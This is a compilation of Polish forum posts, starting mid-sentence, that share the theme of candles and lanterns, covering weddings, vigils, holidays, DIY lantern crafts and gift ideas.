zill'sem, przydeptana spodnica, przerwana muzyka, pijanym widzem,chorym wezu, a
skonczywszy na mojej nawiekszej wpadce jak do tej pory: wykonujac numer z taca
na glowie, na ktorej bylo okolo 14 zapalonych swiec, po 3 minutach tanca doszlo
do momentu gdzie bylam na podlodze i powoli obracalam sie o 360 stopni, kiedy
bylam juz na brzuchu w pozycji kobry, ktos z widowni z tylu za mna bardzo
glosno kichna, wystraszyl mnie, taca zadrzala i w ciagu ulamka sekundy wraz ze
swiecami wyladowala na podlodze; musialam je szybko gasic, postawic spowrotem
na tacy i z usmiechem dokonczylc wystep

Witam.Byłam w Dwóch Stawach,jestem w szoku.Ponoć pycha jedzenie,ale
nie dajmy sie zwariować! Może teraz ,,wypada,, tam zrobić wesele,ale
stać na ten wyczyn nielicznych.Chyba że mamy,ojcowie wezma
kredyty,bo wstepny kosztorys jaki dostałam i to bez fanaberii w menu
wyszło 220zł/os,w tym za butelke wina musującego płacimy
60zł,dekoracja stołu i kominka 1600zł,nawet za herbate,kawę trzeba
tam płacic 4 i 5 zł.Myślę,żę Dwa Stawy i tak dostatecznie zarabiają
na tych imprezach,aż wstyd,że kasują za kawe czy herbatę.Nawet za
świeczki tzn wkłady do lampionów z Ikei trzeba zapłacic bodajże
160zł,by oświetlały np.schody.Właśnie trwało wesele i
stwierdziłam,że nawet taki przepych i droga oprawa nie wpłynie na
jakość imprezy,goście rozeszli sie po parku,lekko znudzeni,a na
parkiecie nie tańczyła ani jedna para mimo wesołej muzyki kapeli za
5tys.złDziewczyny nie dajmy sie zwariować! Ja grzecznie
podziekowałam i wróciłam do domu rozżalona,że tak niektorzy żeruja
na młodych i ich szcześciu.Dla wielu z nas ważniejsze sa raty
hipoteki za mieszkanie niz nabijanie kasy lokalom,które wycisna z
nas resztki kasy.Nie chciałam nikogo urazic,broń Boże,to tylko moja
opinia i odczucia.

Nocne czuwanie dla ML- na prośbę Terem
bo sama nie ma odwagi.
Napisała tak:"...wiesz, ja nie mam odwagi, jakos tam nie mam, ale może Ty byś
zaproponowała , na forum, takie dzisiejsze czuwanie, przy ML. Może świeczki
na zewnątrz, na balkonach, na oknach, co kto ma... i żeby tam były, póki nie
zgasną...Ja wczoraj paliłam świeczki, w lampionach, wspominając moje ,
zeszłoroczne rozmowy z ML, o tym, że lato, że lampiny wśród kwiatów. Wtedy
słuchałyśmy radia kolor... tak niedawno to było... Wiem, że FC proponowała to
wczoraj, ale może by i dziś... Może więcej osób będzie tej nocy myślało o
ML...""
Dołączam się do Terem , zapalam świeczki , wśród kwiatów , właśnie na
balkonie i myśli kieruję do ML.

Moze uda nam sie dosc spontanicznie dojechac 1 listopada do Poznania. Wiem, ze
wybieramy najgorszy czas na podroz samochodem, ale Lewis upiera sie aby
przetestowac nowy Aut na niemiecki autostradach, a mnie ciagnie wlasnie z
powodu przypadajacego w ten dzien swieta.
Uwielbiam zwlaszcza wieczorne spacery po cmantarzu, widok luny odbijajacej sie
od palacych sie swieczek i zapach ognia z odpalonych lampionow. No i te
zadume...

Ja w Anglii nie dekoruje, bo nie bedzie mnie na swieta i jakos tutaj nie czuje
bardzo tego nastroju. Rodzice w Polsce maja choinke (zywa, zawsze jodle
kanadyjska, ktora jest przepiekna), wianki na drzwiach, jakies ozdobki w
koszykach na komodzie stole itp.
Swiateczne jest tez ulozenie w misie roznych orzechow w lupinach, pomarancze
nadziewane gozdzikami, galazki jemioly, lezace wianki ze swiecami, jakies
lampiony na swieczki (moga miec swiateczne motywy, ale nie musza). Kolorystyka
czerwono-zielono-zlota.
Zajrzyj na www.wylegarnia.pl - tam jest spory dzial z ozdobami
swiatecznymi i do domu, bardzo inspirujace.

Pozdrawiam :)))

Wieczór Nalepy, czyli - jak zrobić ludzi w bambuko
Przybyło wielu zacnych piotrkowian w wieku od lat prawie 70 do kilkunastu.
Ciemne ubrania. Skupione miny. Aparaty fotograficzne w rękach. Świece w
kieszeniach. Sala pękała w szwach. Galeria Off słusznie pomyślała pomyślunkiem
pana Gajdy o uczczeniu pamięci śp. Muzyka. Ale wyszło jajo. Wystąpiły bowiem 3
zespoły, ale ze swoim repertuarem. To co to, panie Gajda vel Off, za wieczór
ku pamięci ojca polskiego bluesa?! Piotrkowianie byli przekonani, że każda z
tych formacji muzycznych przedstawi jakąś tam swoją, każdą własną, mniej czy
bardziej udaną - ale opracowaną przez siebie interpretację utworów lidera
Breakoutu. Zamiast wieczoru zadumy, nostalgii, wspomnień, nawet może uronionej
łezki, zamiast wspólnego pośpiewania - zostali biedni ludziska zrobieni w
balona. Karnie, jak przykazano, każdy przyniósł świeczkę, lampion, a kiedy
światełka te licznie zapłonęły i miało się zacząć Misterium z Mistrzem w roli
głównej, wyszła jawna kpina. No i ludzie wyszli. Wstyd. Przybył na ten
szczególny wieczór prezydent (bardzo ładnie) Chojniak, siedział sobie skromnie
gdzieś w kącie sali, wszystko OK. Ba! Przyszedł nawet nie kto inny, jak pan
Maniuta - szef rady miasta. Ale obaj kolesie opuścili widownię, jak wielu
innych fanów Nalepy i bluesa, zrobionych haniebnie w bambuko. Wyszły zasmucone
takim obrotem spraw dinozaury piotrkowskiego rocka z lat 60. i 70. Wstyd.

Frakcja madrycka, równiez powrócona swiezo od fryzjera, cieszy sie jak niewiemco
z Twojego powrotu na lono i przyzazdraszcza zorzy polarnej.
Choc i ja popodrózuje nieco: a to do kraju na swieta a to do Rzymu na Nowy Rok.
A teraz póki co trza tzw sledziki odwalic, niektóre z wielka przyjemnoscia, np.
dzisiaj z gronem bardzo milego kolezenstwa, niektóre troche obowiazkowo, ale bez
przesady, tez bedzie milo.

Ciekawam tej Basinej choinki, choc caly Madryt wystrojony jak kokota. Na razie
jeszcze Mikolajki nie ganiaja po ulicach, ale niedlugo juz zaczna.
Za to bardzo fajnie wyglada Mercado San Miguel (najstarszy targ w Madrycie -
Basiu, tuz obok Plaza Mayor). Ozdobiony jest on tysiacem (tak podano) swiec w
lampionach. Nie zadne tam lampki tylko swiece. Frapuje mnie kto te swiece o
zmroku zapala. Ale efekt jest uroczy :-)

Ach, no i pogoda piekna. Sloneczna, rzeska, spacerowa :-)

Autostopowy protest przeciwko zmianom w Trójce
Drodzy Słuchacze!

jeśli chcecie...
- wesprzeć protest dziennikarzy radiowej Trójki
- podpisać się pod listem protestem
- lub przynieść swój list
- powitać Uczestników Niewielkiego Wyścigu (choć nie o nich się
rozchodzi!!!!)
- pokazać, że nie jest Wam obojętny los naszej ukochanej Trójki

...to weźcie transparenty, świeczki, lampiony, balony, trąbki i to co Wam
wyobraźnia podpowiada.
Przyłączcie się do uczestników Niewielkiego wyścigu w słusznej sprawie.
Spotykamy się w poniedziałek 11 stycznia o 18.00 pod siedzibą Polskiego
Radia, ul. Al.Niepodległości 77/85

Pokażmy ilu nas jest!

Szczegóły: niewielkiwyscig.blox.pl

witam was wszystkie dziewczyny w ten piękny, słoneczny poranek:-))) ja dzisiaj
obudziłam się z tak strasznie spuchniętymi oczani że szok! ale to przez to że
wczoraj się uryczałam w kościele jak krowa, aż mnie glowa bolała i musiałam
wziąść tabletki przeciw bólowe. u nas wczoraj była w kościele taka specjalna
msza na cześć JANA PAWŁA II , i mówie wam tak pięknie to było wszystko
zorganizowane że się nie mogłam opanować. w kościele było zupełnie ciemno (i
całe szczęście bo mnie nie było widać jak płacze, tylko co troche smarkałam w
chusteczke), światła były skierowane tylko i wyłącznie na ołtaż i na na takie
wielkie zdjęcie naszego kochanego papieża. no i tak pięknie młodzież śpiewała i
puszczali slajdy z papieżem no mówie wam było tak wzruszająco że napewno nie
jedna osoba się popłakała. pózniej wszyscy zapalili znicz lub świeczke od
lampionu który właśnie nasz papież zapalił jeszcze jak żył i oni to światełko
cały czas podtrzymują. pózniej z tym światełkiem wszyscy czekali cały czas
śpiewając na godz.21.37, pózniej zaczeły bić dzwony i wszyscy minutą ciszy
uczcili rocznice śmierci papieża no z tymi zapalonymi świeczkami wszyscy
wrócili do domu i w domu miały się palić do końca, dopóki się nie wypalą. mój
lampionik zgasł dopiero rano o godz 09.30. palił się przez całą noc. wiem że
napewno tak było w całej polsce ale chciałam się z wami podzielić jak to było u
nas. dla mnie to było bardzo,bardzo wzruszające i naprawde bardzo ślicznie
zrobione.

może lepiej z latarką?
Wiem że światło świecy wygląda "cieplej i lepiej" ale ja kiedy dzieciaki były
małe bałam się świeczki.
W kościele siedzały z innymi dziećmi i mogło się to różnie skończyć.
Robiłam lampion z otworem od dołu i wkładałam tam latarkę. Taką okrągłą wygodną
do trzymania.

jak już wiesz msza jest dzisiaj o 19.00 poprzedzona koncertem zamojskich
artystów w hołdzie papieżowi(od 18.00), a następnie o 21.00 jest apel
jasnogórski. wszyscy którzy przybędą proszeni są o zabranie lampionów i swiec
aby w ten sposób oswietlić zamość podczas apelu. co do telebimu, będzie on
dziajaj i będzie na nim przybliżone kazanie Papieża z mszy przy kościel MBKP w
zamościu. Jutro zaś, niestety, ale telebimu nie będzie
pozdrawiam z zamościa

Prezent gwiazdkowy dla pani sprzątajacej?
W tym roku zaprosiliśmy na Wigilię Panią, która u nas sprząta. Jest to prawie
członek rodziny - pracuje u nas już prawie 4 lata, te święta będą dla Niej
szczególnie trudne, bo jest z daleka od najbliższych (na Ukrainie) i
prawdopodobnie na swoje święta także nie pojedzie do domu. Oczywiście pod
choinką musza znaleść się także jakieś prezenty dla Niej i tu mam małe
dylematy: co to ma być? Chodzi o jakieś niedrogie, niezobowiązujące drobiazgi.
Wiem, że bardzo oszczędza na słodyczach i kosmetykach, więc moze słodycze to
dobry pomysł - kupiłam już ciasteczka w ozdobnej puszce, która może później
służyć za lampion - do tego dokupiłam cztery małe świeczki zapachowe, kupiłam
też zestaw różnosmakowych herbat Liptona, a moja mama czekoladki Mon Cheri,
Merci i jakąś małą bombonierkę świąteczną. Chciałabym jeszcze kupić coś z
kosmetyków - jakiś dobry krem do rąk, aromatyczny żel pod prysznic i dobry
dezodorant kulkowy (Yves Rocher) - tylko nie chciałabym aby to był prezent z
podtekstem - nasza Pani jest zadbana (co prawda najtańszymi kosmetykami, ale
jest). Na Wigili będzie u nas po raz pierwszy cała rodzina, więc ludzi i
prezentów będzie mnóstwo, więc chciałabym aby dostała też sporo paczuszek. Z
drugiej strony, aż się boję z czym Ona wystąpi - na rodziny naszej córki
sprawiła Jej drogi prezent, aż musiałam ja zbesztać , ze wydaje ciężko
zarobione pieniądze. Macie jeszcze jakieś sugestie dot. prezentów?

Witrażyki ...
mozna zrobić z czarnego kartonu. Rysuje się na kartonie (białą kredką) motywy,
potem wycina się je, pozostawiając tylko ich kontury. Powstaje w ten sposób
ażurowa siatka, której oczka podkleja się kolorową bibułką niekarbowaną. W ten
sam spos.óób mozna zrobić lampiony na świeczki (należy oczywiście płomień
świeczki odpowiednio zabezpieczyć, (np.wkładając ją do szklanego naczynia) aby
ozdoba nie spłoneła.

robiłam takie lampiony na balkon, ze słoików
porwałam na kawałki serwetkę, jednokolorową, u mnie granatową, ale może być inny
kolor, serwetkę przykładałam do słoika i paciałam lakierem akrylowym, grubo dość.
po wstawieniu świeczki, w ciemnościach- prawie jak lampiony z papieru czerpanego
hi hi- za dnia gorzej.
Oczywiście kawałki serwetki zachodzą na siebie, całość dość pomarszczona, rwie
się paskudnie w trakcie klejenia na lakier... i o to chodzi

Tanio mozna zrobić lampiony ze słoików owiniętych kolorowa bibułą, zawieszonych
na sznurkach na drzewie, krzakach lub u dachu. Co prawda świeczki to nie to co
lampki i krótko trwa ich żywot, ale na jeden wieczór wigilijny lub sylwestrowy
można je bez trudu wykonać. Można je ustawić na parapetach lub schodach jeden
przy drugim i efekt murowany, tu bardziej, że kolorów bibuły w bród. Żeby
świeczki nie gasły trzeba porobić otwory w wieczkach dla dopływu tlenu.

Dynie, sowy, świeczki, lampiony,
stroje i smieszne czuprynki
można kupić w marketach i większych sklepach.
W wypożyczalniach pojawiają się stroje dyni, duchów i wampirów.
Przedszkolaki i szkolniaki szaleja
Swieto sie przyjęło!!!!
Oczywiście, jestem za tym, żeby zachowywać tradycję
i odwiedzić groby bliskich, ale można się
tez pobawić, powygłupiać, poprzebierać,
smutek juz nikomu, ze zmarłych nie pomoże.
Nie wszystko z zachodu jest złe

Proszę, znalazłam przykład. Zakładamy, że na większości wesel stoły
są nie są okrągłe. Takie rzeczy jak biały ładny obrus, są chyba w
większości sal, więc można, przez środek tego obrusu dać jakiś ładny
zielony materiał, nie znam się na kosztach materiałów więc nie wiem.
Do tego wypożyczamy 20 wazonów(koszt wypożyczenia 30gr, ale niech
nawet kosztują 2 zł to jest 40 zł, no ale niech nawet będzie 100zł),
zamawiamy do nich wianuszki z kwiatów, nie mówimy, że to na wesele
więc nie wiem ile to może kosztować, ale załóżmy, że 30 zł, to mamy
600zł. To wazonów wkładamy jakieś kwiaty(na zdjęciu są kalie, ale
myślę, że mogą być np. tulipany)

I mamy coś takiego.

Pomiędzy tym uzupełniamy tak przygotowanymi wcześniej świeczkami:

Jeśli zostanie nam pieniędzy możemy dodać np. kokardy na krzesła,
możemy też dodać super modne ostatnio lampiony i mamy piękną
dekoracje za mniej niż 2000 zł.

Oczywiscie,ze zadnych tiuli..mysle o duzej ilosci kwiatow i swiec a na
dworze lampiony, najlepiej porozwieszane na jakichs sznureczkach
nie zdecydowalam jeszcze jaki kolor pasowalby do tego wnetrza.. marza
mi sie kremowy/bezowy troche czekoladowego brazu i moze troche rozu?
nie wiem tylko jak taka kolorystyka bedzie sie komponowac z kiltem
mojego faceta

Szanowni Państwo !

Wszyscy jesteście w wielkim błędzie :) te światełka na niebie to były lampiony które miały małe swieczki które śię świeciły , i pod wpływem ciepłego powietrza lampion się nadmuchiwał i leciał (był z materiału) . Wiem to bo sam taki odpalałem , miały one miejsce na weselu w braniewie , a ja sam byłem gościem:)
Usmiałem się czytając wasze wypowiedzi . :))

Poki co udalo mi sie robic tak, zeby za kazdym razem bylo cos innego na stole.
Lubie imprezy tematyczne - kuchnia wloska, indyjska, wege.

Zaczynam od wymyslenia menu i listy zakupow.

Dzien wczesniej, nawet juz zasypiajac mysle o nakryciu, jakich kieliszkow uzyc,
czy mam czyste i wyprasowane serwety. Jesli mi sie uda, to kupuje swieze kwiaty,
w sezonie zrywam z ogrodka. Mam kilka rodzajow lampionow, swieczek, dekoracje na
swieczniki - tez rozmyslam, ktore najlepiej beda pasowac.

O ile to mozliwe, czesc rzeczy przygotowuje dzien wczesniej. Jesli dan ma byc
sporo, takoz ludzi - robie liste zadan, aby o niczym nie zapomniec. Skreslam z
niejto, co juz zrobilam.

Nie uwazam, ze liczy sie ilosc potraw, ale gotuje je tak, aby nie zabraklo,
jesli ktos bedzie mial ochote na dokladke. Prawie zawsze zostaje nam jedzenie po
imprezach, wiec dojadamy zlubym nastepnego dnia.

Czasem gotuje zupelne nowosci, ale czesciej probuje je na naszej dwojce, aby
potem byc spokojna, ze w dniu imprezy nie bedzie niewypalu.

Wydaje mi sie, ze jestem dobrze zorganizowana. Ja szaleje w kuchni, luby sprzata
dom. Uwielbiam przygotowywac imprezy.

> Pięknie wyglądałyby odwrócone do góry nogami kwiaty miechunki (to
> takie czerwone, wyglądające jak lampiony)

Efekt podobny do kwiatów miechunki możesz uzyskac z krepiny lub
bibuły. Wycinasz prostokąt (jeden bok o "wysokości" płomienia, który
chcesz uzyskać + 1-1,5 cm, drugi taki, żeby lużno, ze sporym
marszczeniem owinąć świecę).
Owijasz świecę od strony knota, mocujesz krepinę np. gumką
recepturką (bo będzie dobrze trzymać, ale krepinę pod gumką układasz
trochę tak, jakbyś marszczyła spódniczkę) ok 1,5 cm od brzegu.
Wywijasz krepinę w kierunku knota (tak, jakby gumka recepturka była
szwem po lewej stronie materiału) i zbierasz ściśle wolny koniec
(np. związując tuz przy brzegu nitką). Potem już tylko formujesz
tak, żeby "ogień" był nieco bardziej rozdęty na dole, przy świecy.

Ile tych świeczek musisz przygotować?
Pozdrawiam

Kolejne pomysły

Pomysł:
koszyczek lub puszka + orzechy lub słodycze + dziadek do orzechów +
ładna bombka
ładne opakowanie bibuła i voila

Pomysł:
kupuje komplet jakieś przedmiotów np. 3 ładne świeczki w kształcie
pierniczkowych ludzików potem każdą oddzielnie pakuje w
celofanową folię (taką jak do kwiatów) dodaję kokardkę i mam
podobający się i cieszący (a to dla mnie bardzo ważne) świąteczne
upominki dla trzech przyjaciółek na przedświąteczne spotkanie przy
kawie
to samo robię z kosmetykami świąteczne zestawy rozwalam... i mam
kilka prezentów (a zestawy częśto taniej są sprzedawane niż
oddzielnie). Ale z kosmetykami to ostrożnie... żeby kogoś nie
urazić... "dostąłem mydło = mają mnie za burdasa" nie nie, wybieram
taką odrobinkę luksusu i przyjemności jakaś bora sól do kąpieli +
balsam itd. itp.

Pomysł:
Ozdoby świąteczne bo wiem, że częśto szkoda osobom pięniązków na
nowe bobmki, jakieś lampiony... a takie rzeczy oko cieszą
Ostatnio zdobyłam po 2 zł robione na szydełku aniołki śliczne,
kupiłam po 3 i prezenty były.

Wrzucajcie pomysły

dziękuje
m

lococd tak to chińskie lampiony 19,95 za sztukę :)
www.2future.pl/Produkt/240/latajace_lampiony
Tutaj przepis jak zrobić samemu taki balon
www.spryciarze.pl/...balon-zasilany-swieczkami
Zasada chyba jest prosta. Podgrzewamy powietrze świeczką. Ciepłe, lżejsze
powietrze unosi się do góry.

Jezeli zmarli stanowili dla nas jakas wartosc, to powinno sie ich
wspominac czesciej niz dwa razy do roku czyli jak tradycja nakazuje.
Polskie swieto zmarlych to jest swieto typowo pokazowe (kto wiecej,
wiekszych swieczek, lampionow i wiencow nakupi). O rewii mody jak
ktos juz napisal nie wspominajac. Na reszte roku sie praktycznie o
tych grobach i czesto zmarlych zapomina. Oni powinni pozostac w
sercu, a liczyc sie powinno tu i teraz. Ja tam wole myslec o zyciu
niz o smierci, to jest nieuchronny koniec, a myslenie o tym moze
przeslonic cala radosc zycia. Boli Cie, ze Amerykanie nie przejmuja
naszych tradycji? A po co, zeby ciagle sie umartwiac jak to KK i
tradycja polska nakazuje? Z innych kultur powinno sie brac to co
najlepsze, bo w dol szybko mozna zleciec. Roznimy sie od Amerykanow
tym, ze my lubimy wszystko co obce i nieznane krytykowac, Oni juz
tego nie robia. Jak im sie cos nie podoba to po prostu sobie
odpuszczaja i tyle.

starutka dekoruje
przeszłam sie wczoraj po sklepach, a tam jesień. Dynie, astry,
suszki, latawce i serwetki z kasztanami. Swieczki, lampki, lampiony,
lampeczki, wszystko do jesiennej dekoracji domu. Pooglądalam i
poszłam nic nie kupiwszy, bo odkąd moj syn wyrósł z wieku
przedszkolnego nie rozstawiam sezonowych dekoracji.
No jedynie w adwencie gałązki świerku, swieczki, pierniczki,
duperelki, gwiazdy betlejemskie
A jak jest u Was? Dekorujecie?

jak to jest z tymi świecami?
No właśnie...
Rychło w czas, bo o światło adwentowe chciałam się zapytać :)
1. Jest świeca roratnia - zapalana podczas mszy roratniej -
symbolizuje Maryję.
2. Jest lampion roratni - dla dzieci chyba głównie - czy to
alternatywa dla świecy roratniej i symbolika ta sama?
3. Wieniec adwentowy, a w nim cztery świece odpalane każdej kolejnej
niedzieli adwentu - tu też jest różnie, bo czasem tych świec jest
pięć.
4. Świecznik siedmioramienny (pochodzenia chyba skandynawskiego?)
umieszczany w oknach na czas adwentu - nie mogę się doszukać
historii i znaczenia
5. Świeca kalendarzowa - tego rodzaju świece można ponoć znaleźć w
dewocjonaliach. Jest zdobiona motywami adwentowymi. Najczęściej
oznaczone są na niej daty czterech niedziel adwentowych albo
poszczególnych dni adwentu. Zapalana w czasie modlitw rodzinnych,
przy posiłkach. Każdego dnia pali się ją do miejsca wyznaczonego na
ten dzień. Dopala się całkowicie przy wieczerzy wigilijnej.

Napiszcie, jakie u Was światło na czas adwentu :)
Co o nim wiecie, jakie znaczenie ze sobą niesie?
Ja przyznam, że bardzo lubię te siedmioramienne skandynawskie w
oknach, a wiem o nich chyba najmniej :/ I zastanawiam się, czy
wypada je jeszcze zapalać w oknie do tego 2 lutego?

Też taką miałam, ale pękła podczas mycia, szkoda mi było wyrzucić,
zrobilam lampion, na świeczkę.

fotoforum.gazeta.pl/zdjecie/715677,2,130,DSC00843.html
W efekcie spełnia funkcję duzo lepiej niż dotychczas, dając
wieczorem niesamowity efekt świetlny.

Mam takie 2 i obie najczęściej slużą mi za lampiony. Do pierwszej
wlewam wodę i wkładam pływające świeczki, czasem też główki kwiatów,
na dno szklane kamyki.
Drugą okleiłam papierem ryżowym (musiałam, bo pękła) i do niej
wstawiam świeczkę, daje piękne światło. Tu fotka, niestety robiona w
dzień:
fotoforum.gazeta.pl/3,0,715677,2,120.html

Na święta Bożego Narodzenia wykładam moją od dołu włosiem anielskim a na to
układam masę różnych bombek, łańcuchów koralikowych, bardzo ładnie to wygląda,
choć nie brzmi tak dobrze w opisie również robiłam z niej lampion latem, na
wodę świeczki w kształcie kwiatów, na dno kolorowe kamyczki. Jesienią były w
niej kasztany, szyszki, trochę żółtych liści i żołędzi, wiosną wlewam wodę,
układam kamyczki zielone przezroczyste na dnie i wkładam gałązki akacji i
bukszpan, czasem też wypełniam kolorowymi wydmuszkami, bukszpanem, i żółtymi
kurczaczkami.

A my się fajnie bawimy Robimy lampiony z papieru ryżowego, ze słoików i
bibuły. Wybieramy w warzywniaczku odpowiednie dynie a potem drążymy je w środku,
wycinamy oczy, wkładamy świeczki i mamy lampiony. Robimy dyniowe, kocie,
nietoperzowe maski. Masę rysunków z pająkami, duszkami i czarownicami. Różne
dynie sobie malujemy, drukujemy, naklejamy im oczy i buzię, brokatujemy,
farbujemy, przyklejamy. Długo przed samym halloween mamy dużo frajdy wymyślając
różne śmieszne i straszne rzeczy.

Miło i rodzinnie spędzamy razem czas na robieniu wspólnych craftów z dzieckiem,
nie złorzecząc ciągle, że zło przyszło z Ameryki.

W zeszłym roku wbijałam normalnie same gożdziki od razu w pomarańcze. Możesz
jeszcze spróbować zrobić lampiony z pomarańczy (widziałam w gazecie jakiejś i
bardzo fajnie to wygląda i ponoć pięknie pachnie). Odcinasz kawałek pomarańczy
(ten gdzie był ogonek) wydrążasz z miąższu, można też ponabijać goździkami i do
śtrodka zwykły tealight i już lampion gotowy .
Możesz porobić stroiki, wystarczy kawałek gałązki (niekoniecznie prawdziwej),
przykleić na kółko z kartonu, do tego w środek jakaś gruba świeczka, ze dwie
szyszki pomalowane złotym lub srebrnym sprayem, trochę brokatu, gałązkę
ostrokrzewu,kawałek suszonego cytrusa, jakaś wstążka może i już . Tylko
szyszki to już byś musiała zbierać, żeby wyschły i się ładnie otworzyły.
A na choinkę to pierniczki, ciastka z witrażykami, szyszki, cytrusy suszone .
Ahhh już mi się chce hihihi.

Z mojego doświadczenia (pracuję w sklepie z róznymi pieknymi
rzeczami) to jest tak: na stole zawsze jest mało miejsca, a żeby
świece pływające ładnie wygladały to musi to być naczynie szerokie i
płytkie, więc postawienie takich świeczek na stole jest mało
praktyczne. Natomiast doskonale sprwdzi się na wszelkiego typu
stolikach ustawionych luzem - czasem na weselach są oddzielne stoły
z owocami i ciastem, z napojami itd. Tam jak najbardziej pasuje
naczynie, w którym bedą pływały palace się świece. W tej sytuacji
wąskie świece na stołach są jak najbardziej na miejscu, a są o tyle
praktyczniejsze, że zajmują znacznie mniej miejsca.
Jeśli w otoczeniu domu weselnego jest ogród i w nim oczko wodne to
jest coś takiego jak lampiony (jest to sporej wielkości kula z
wosku, pusta w środku, do której wstawia się świeczki i puszcza na
wodzie), które mogą pływać po oczku - bardzo romanyczny widok. Takie
kule można też ustawić w charakterze dekoracji na różnych
kolumienkach.
W ogóle to zachęcam do zapalania świec, bo dają niepowtarzalny
nastrój. Jest tylko jeden bardzo ważny warunek - świece muszą być
tak ustawione, żeby nie było możliwości przewrócenia świecznika,
zahaczenia o świecę szalem, bądź sukienką, bo wtedy może dojść do
tragedii.

Wrocilam i prosze, jaki fajny watek:-)
Kalendarz urodzinowy mam w kilbelku:-) Te ogniska to rzeczywiscie tylko Twente chyba, bede musiala tescia dopytac o co to dokladnie chodzi. Z innych to jeszcze
Koninginedag, do Hagi nie jade, ale podoba mi sie, ze wszedzie cos sie dzieje, najbardziej lubie pchli targ, w wielu miastach mozna wtedy na ulicy probowac sprzedac kazdego niepotrzebnego rupiecia:-)
Fajny jest Sint Martin, 11 listopada dzieciaki chodza od domu do domu z lampionami i spiewaja o nim piosenki, za co dostaja slodycze. Jak sie daje pozwolenie, zeby zapukaly do drzwi, to trzeba postawic w oknie zapalona swieczke. U nas chodza tez Trzej Krolowie.
Metlik mam w glowie straszny, ale jak mi cos do glowy przyjdzie, to dopisze.

Lubię świece, mam różne ozdobne, ale ponieważ się obawialam kociego
zainteresowania (widziałam, jak Wikcia usiłuje powąchać świeczkę, a potem koło
niej przeszła zamiatając ogonem) mam po prostu lampiony i świeczkę wkładam w
środek. Żadnych wysokich świec, lampiony muszą wystarczyć. Nie mogę też wykonać
kąpieli z aromaterapią - czyli zapachowe świece dookoła wanny a ja w kąpieli
z pianą. Pozostaję przy pianie, która też jest atrakcyjna dla kotów.
Pozdrowionka. Wiesia + 8

Zapiski na biletach. MAERSK
Chciałam potwierdzić, że norweskie parkingi jak najbardziej nocą polarną są
otulone od góry Saltfjellet aż po Svalbard. W mroku toniemy i rozświetlamy
sobie dni światłem świec, ale nie tym samym, które wypełniało adwentowe
lampiony i które niosło się na roraty.. A przed 6 rano nie spieszę do
kościoła, a do pracy. Apropo kolei, to na północy kraju (na północ od Narviku)
trakcji kolejowej Norwegowie (ani Niemcy) nie położyli i o urokach kolei może
tylko marzyć. Jedyne co nam pozostaje to latać bądź (opcja dla bogatszych)
wsiąść na tzw. Hurtigrutę (coastal steamer) i popłynąć dalej na północ lub na
południe, ku słońcu. Lub, dla odważnych i mniej zamożnych (brawo Sylwia!), do
kraju udać się za jeden uśmiech przez Finlandię. Z braku obecności pociągów na
co dzień, myśl o pokonaniu trasy Gdańsk-Giżycko w przedświątecznym okresie
raduje, jako że do codzienności nie należy. Poza tym, czy można lepiej Polskę
odczuć i się z nią zjednoczyć po długiej chwili nieobecności niż w zatłoczonym
pośpiesznym? Ale to, że kilka dni później moja norweska połówka będzie musiała
pokonać tę trasę sama lekko przeraża i uświadamia jak wiele nam brakuje, jaka
przepaść nas dzieli. Przypomina, że rozróżnienie Wschód-Zachód nie tkwi tylko
w poziomie standardu kolei narodowej, ale w mentalnych przestrzeniach przede
wszystkim ... Oby mój gość umiał odkryć detale widziane tylko dzieciącym
okiem, i jeszcze miłość na przejściu. Pozdrowienia z zanurzonego w krąg nocy
polarnej Tromso.

Tak sobie czytam ten wątek i zgroza mnie ogarnia. Choć bałam się, że właśnie u nas też tak będzie. Mam syna w drugiej klasie. I jest tak: modlitwy, które dzieci powinny znać, mały zaliczał w klasie pierwszej - co miesiąc jedna, w zeszycie była tabelka, gdzie dostawał ocenę po odpytaniu, a ja się podpisywałam. W tym roku siostra katechetka powiedziała, ze żadnych egzaminów już robić nie będzie, tylko na lekcjach religii będzie z dziećmi omawiać dogłebnie i modlitwy i różne aspekty przystąpienia do Komunii. Jeśli chodzi o nabożeństwa różańcowe, nikt obecności nie sprawdzał, ani sie nie dopytywał, czy dziecko chodzi czy nie. Było tylko jedno nabożeństwo zorganizowane specjalnie dla "komunistów" z rodzicami. Rodzice z kolei mogą uczestniczyć w spotkaniach przeznaczonych dla nich, na których ksiądz wygłasza pogadankę na temat przygotowania dziecka do komunii i tez obecności nikt nie sprawdza. Poza tym dostaliśmy od siostry harmonogram co kiedy się odbędzie: poświęcenie medalików, świec, książeczek no i oczywiscie tu być trzeba ze zrozumiałych względów. Od znajomej wiem, ze polka zacznie się po Wielkanocy, bo będą próby w kościele. Ale to też rozumiem, bo opanowanie ponad setki dzieci w kościele, ustawienie ich i ustalenie co, kiedy i jak, wymaga nieco wysiłku. I tyle.
Kurczę, jak tak czytam, co piszecie, to mi włos na głowie staje i już wiem, ze kolejny raz potwierdza sie powiedzenie: nadgorliwość jest gorsza od faszyzmu. Bo mnie sie jakos nie wydaje, żeby moje dziecko miało być gorzej przygotowane do komunii niż te, które będą zmuszane groźbą jedynek do klejenia lampionów na plebanii.
Życzę więc pomyślnego rozstrzygnięcia sprawy. Pozdrawiam,
Bleuet

Niestety jest grupa ludzi ( bez względu na wiek), która jest zaściankowa,
zamknięta na kulturę i obyczaje innych. Co komu szkodzą Walentynki? Fajna, miła
okazja do zabawy. Albo Halloween? To, że okolice 1 listopada nie są pod znakiem
żałoby i zadumy, że "oswaja się" duchy?
Dla nas to okazja, aby zjeść zupę z dyni, posiedzieć przy wyszczerzonych
lampionach, pogadać, pośmiac się.
A św. Patryk? Oczywiście nikt nie będzie rozpija nieletnich, ale jeśli dorośli
wyskoczą do pubu i wypiją piwo słuchając irlandzkiej muzyki to nic złego. Fajne
urozmaicenie.
Dla nas dużo fajniejsze niż np. czytanie Biblii, nieszpory czy inne święta
kościelne. Co nie oznacza, że mam pretensje do chodzących ze świeczka 2 (
chyba) lutego. A mogłabym, bo jest zagrożenie pożarem

Domek lampion - gdzie?
Szukam domku z okienkami ale takiego ze ścianką z okienkami dookoła
a w środku wkłada się świeczkę... niestety gdzieś podczas
przeprowadzki mi zginął a tak pięknie prezentował się i dookoła
tworzył wspaniały nastrój przy świątecznym stole... widzał ktoś
gdzieś?

> kupiałam w takowym sklepie (ale po 5 zł, pewnie lepsiejszy
jakiś )

Mathiola, te rzeczy po 2,50 4, czy 5 zł kupowane są w tej samej
hurtowni po takiej samej cenie. Moja siostra prowadzi "wszystko po
2,50" to wiem, jak to wygląda.

A co do jakości - większość plastików to kupa, ale jak dziewczyny
wspomniały - świeczki, lampiony, popielniczki itp. są fajne.

